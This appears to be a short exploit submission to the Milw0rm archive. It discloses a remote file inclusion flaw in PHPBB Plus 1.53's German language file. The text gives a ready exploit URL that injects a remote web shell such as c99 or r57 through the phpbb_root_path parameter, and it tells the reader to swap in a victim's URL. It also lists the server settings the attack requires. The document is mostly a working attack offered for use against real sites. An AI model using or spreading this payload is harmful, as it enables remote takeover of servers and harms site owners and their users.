Hi Milw0rm .
My Name ( AUTHOR ) Is  = Mehrad Ansari Targhi
My E-Mail : mehrad1989@gmail.com 
My Yahoo Messenger ID : mehrad_1989
Please Instert My Name And E-Mail And My Yahoo Messenger In The Exploit .
I Found a Bug In PHPBB PLUS 1.53 .
This Is A RFI Bug .
This Bug Is In : [ PHPBBPLUS INSTALLED ]/language/lang_german/lang_main_album.php
Exploit : http://[PHPPLUS]/language/lang_german/lang_main_album.php?phpbb_root_path=[ http://shell.txt]?aJust Replace http://Shell.txt With Your Script Source Address Like C99 Or R57 Or ... And Replace [PHPPLUS] With Your Victim URL And Remove [] From The Exploit . 
Register Global Must Be On , On The Server .
Remote File Inc. Must Be On , On The Server .
German Language Must Be Installed .